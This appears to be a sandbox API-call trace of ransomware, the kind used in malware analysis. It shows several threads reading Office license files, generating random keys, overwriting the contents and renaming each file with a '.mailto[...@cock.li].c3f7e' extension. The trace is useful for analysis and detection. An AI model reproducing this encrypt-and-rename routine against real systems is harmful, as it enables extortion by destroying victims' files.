	[0087.313] SetFilePointerEx (in: hFile=0x193c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.313] WriteFile (in: hFile=0x193c, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x12b, lpNumberOfBytesWritten=0x2a2bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x2a2bf8b0*=0x12b, lpOverlapped=0x0) returned 1
	[0087.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0087.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775e30) returned 1
	[0087.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0087.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0087.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0087.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0087.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47eaad8
	[0087.314] wcscpy (in: _Dest=0x47eaad8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms"
	[0087.314] wcscat (in: _Dest=0x47eaad8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.314] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a2bf868, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481d3c0
	[0087.315] NtSetInformationFile (FileHandle=0x193c, IoStatusBlock=0x2a2bf860, FileInformation=0x481d3c0, Length=0xfc, FileInformationClass=0xa) returned 0x0
	[0087.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d3c0) returned 1
	[0087.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89948) returned 1
	[0087.315] NtQueryInformationFile (in: FileHandle=0x193c, IoStatusBlock=0x2a2bf874, FileInformation=0x2a2bf84c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a2bf874, FileInformation=0x2a2bf84c) returned 0x0
	[0087.316] NtSetInformationFile (FileHandle=0x193c, IoStatusBlock=0x2a2bf874, FileInformation=0x2a2bf84c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.316] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eaad8) returned 1
	[0087.316] FlushFileBuffers (hFile=0x193c) returned 1
	[0093.124] CloseHandle (hObject=0x193c) 

Thread:
	id = 1209
	os_tid = 0x1f58

	[0086.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220
	[0086.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1940
	[0086.708] GetFileSizeEx (in: hFile=0x1940, lpFileSize=0x2a33f884 | out: lpFileSize=0x2a33f884*=10627) returned 1
	[0086.708] SetFilePointerEx (in: hFile=0x1940, liDistanceToMove=0x297f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.708] ReadFile (in: hFile=0x1940, lpBuffer=0x2a33f808, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a33f804, lpOverlapped=0x0 | out: lpBuffer=0x2a33f808*, lpNumberOfBytesRead=0x2a33f804*=0x4, lpOverlapped=0x0) returned 1
	[0086.739] SetFilePointerEx (in: hFile=0x1940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0086.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47dd0
	[0086.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.739] NtQuerySystemTime (in: CurrentTime=0x2a33f7e4 | out: CurrentTime=0x2a33f7e4*=132251868134757394) returned 0x0
	[0086.739] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x3567c3f8
	[0086.739] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x87923e83
	[0086.739] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x1ee08118
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x96d54fe8
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0xec47bb6b
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x37755324
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0xa234ab09
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0xbbfd2a6d
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x225f85b4
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0xd3b90eab
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0xe85002e0
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0xf1389cd5
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x39e05361
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x76935172
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x1a6e08f8
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0xeb4d1606
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0xc5fead99
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0xe77d96f0
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0xa7ddc6af
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x6ee03793
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x8d26fe15
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x837a6ec2
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x32dfc0af
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x80ff6de6
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x2c8b3815
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x7201f66c
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0xce948583
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x38068423
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x2a1ba450
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x13659d68
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0x1e09dc15
	[0086.740] RtlRandom (in: Seed=0x2a33f7f0 | out: Seed=0x2a33f7f0) returned 0xcb2bdd9
	[0086.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0086.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e20
	[0086.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0086.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb6a8
	[0086.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754178
	[0086.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4939810
	[0086.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4946018
	[0086.750] ReadFile (in: hFile=0x1940, lpBuffer=0x4939810, nNumberOfBytesToRead=0x2983, lpNumberOfBytesRead=0x2a33f7e0, lpOverlapped=0x0 | out: lpBuffer=0x4939810*, lpNumberOfBytesRead=0x2a33f7e0*=0x2983, lpOverlapped=0x0) returned 1
	[0086.767] SetFilePointerEx (in: hFile=0x1940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.767] WriteFile (in: hFile=0x1940, lpBuffer=0x4946018*, nNumberOfBytesToWrite=0x2983, lpNumberOfBytesWritten=0x2a33f7dc, lpOverlapped=0x0 | out: lpBuffer=0x4946018*, lpNumberOfBytesWritten=0x2a33f7dc*=0x2983, lpOverlapped=0x0) returned 1
	[0086.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0086.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4946018) returned 1
	[0086.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4939810) returned 1
	[0086.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754178) returned 1
	[0086.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb6a8) returned 1
	[0086.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb5d0
	[0086.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb6a8
	[0086.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753db8
	[0086.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb108
	[0086.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753db8) returned 1
	[0086.771] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb6a8) returned 1
	[0086.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11f) returned 0x2d5c040
	[0086.771] SetFilePointerEx (in: hFile=0x1940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.771] WriteFile (in: hFile=0x1940, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x2a33f844, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x2a33f844*=0x11f, lpOverlapped=0x0) returned 1
	[0086.775] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0086.775] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0086.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb5d0) returned 1
	[0086.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0086.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0086.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e48) returned 1
	[0086.776] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0086.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4768628
	[0086.776] wcscpy (in: _Dest=0x4768628, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms"
	[0086.776] wcscat (in: _Dest=0x4768628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.776] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a33f7fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x4752ff0
	[0086.776] NtSetInformationFile (FileHandle=0x1940, IoStatusBlock=0x2a33f7f4, FileInformation=0x4752ff0, Length=0xf0, FileInformationClass=0xa) returned 0x0
	[0086.777] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0086.777] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0086.777] NtQueryInformationFile (in: FileHandle=0x1940, IoStatusBlock=0x2a33f808, FileInformation=0x2a33f7e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a33f808, FileInformation=0x2a33f7e0) returned 0x0
	[0086.777] NtSetInformationFile (FileHandle=0x1940, IoStatusBlock=0x2a33f808, FileInformation=0x2a33f7e0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0086.778] FlushFileBuffers (hFile=0x1940) returned 1
	[0093.104] CloseHandle (hObject=0x1940) 

Thread:
	id = 1210
	os_tid = 0x1f5c

	[0086.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220
	[0086.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1944
	[0086.709] GetFileSizeEx (in: hFile=0x1944, lpFileSize=0x2a3bf97c | out: lpFileSize=0x2a3bf97c*=20844) returned 1
	[0086.709] SetFilePointerEx (in: hFile=0x1944, liDistanceToMove=0x5168, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.709] ReadFile (in: hFile=0x1944, lpBuffer=0x2a3bf900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a3bf8fc, lpOverlapped=0x0 | out: lpBuffer=0x2a3bf900*, lpNumberOfBytesRead=0x2a3bf8fc*=0x4, lpOverlapped=0x0) returned 1
	[0086.726] SetFilePointerEx (in: hFile=0x1944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d30
	[0086.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ec0
	[0086.726] NtQuerySystemTime (in: CurrentTime=0x2a3bf8dc | out: CurrentTime=0x2a3bf8dc*=132251868134600490) returned 0x0
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x7da8404d
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0xaca865dd
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x3a72c862
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x4cf85ca3
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x86c057d
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x6adedfdb
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x2826229d
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x2dcad2b0
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x6bea8be7
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x61c87c82
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x49472740
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0xb89dced1
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0xccbf80dd
	[0086.726] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x8b088ca8
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0xac906730
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0xf82360dd
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x1c4da1c2
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x3dc19d28
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x32846fa1
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0xb02ca7ee
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x3a287eb6
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0xa67f80d5
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x401d719f
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x68c4c156
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x4ba3c85c
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x32d9a5a1
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x40932c34
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0xe9b1aba3
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x9c0ed200
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x163bbd8
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0xb404ebe6
	[0086.727] RtlRandom (in: Seed=0x2a3bf8e8 | out: Seed=0x2a3bf8e8) returned 0x74e91e64
	[0086.734] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47da8
	[0086.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0086.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ec0) returned 1
	[0086.736] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb660
	[0086.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0086.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47dd0
	[0086.736] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0086.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x486a040
	[0086.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x492d008
	[0086.739] ReadFile (in: hFile=0x1944, lpBuffer=0x486a040, nNumberOfBytesToRead=0x516c, lpNumberOfBytesRead=0x2a3bf8d8, lpOverlapped=0x0 | out: lpBuffer=0x486a040*, lpNumberOfBytesRead=0x2a3bf8d8*=0x516c, lpOverlapped=0x0) returned 1
	[0086.766] SetFilePointerEx (in: hFile=0x1944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.766] WriteFile (in: hFile=0x1944, lpBuffer=0x492d008*, nNumberOfBytesToWrite=0x516c, lpNumberOfBytesWritten=0x2a3bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x492d008*, lpNumberOfBytesWritten=0x2a3bf8d4*=0x516c, lpOverlapped=0x0) returned 1
	[0087.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x492d008) returned 1
	[0087.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x486a040) returned 1
	[0087.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0087.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb660) returned 1
	[0087.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3d) returned 0x2dfb420
	[0087.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0087.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3d) returned 0x2dfb108
	[0087.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0087.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x121) returned 0x2e02570
	[0087.317] SetFilePointerEx (in: hFile=0x1944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.318] WriteFile (in: hFile=0x1944, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x2a3bf93c, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2a3bf93c*=0x121, lpOverlapped=0x0) returned 1
	[0087.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
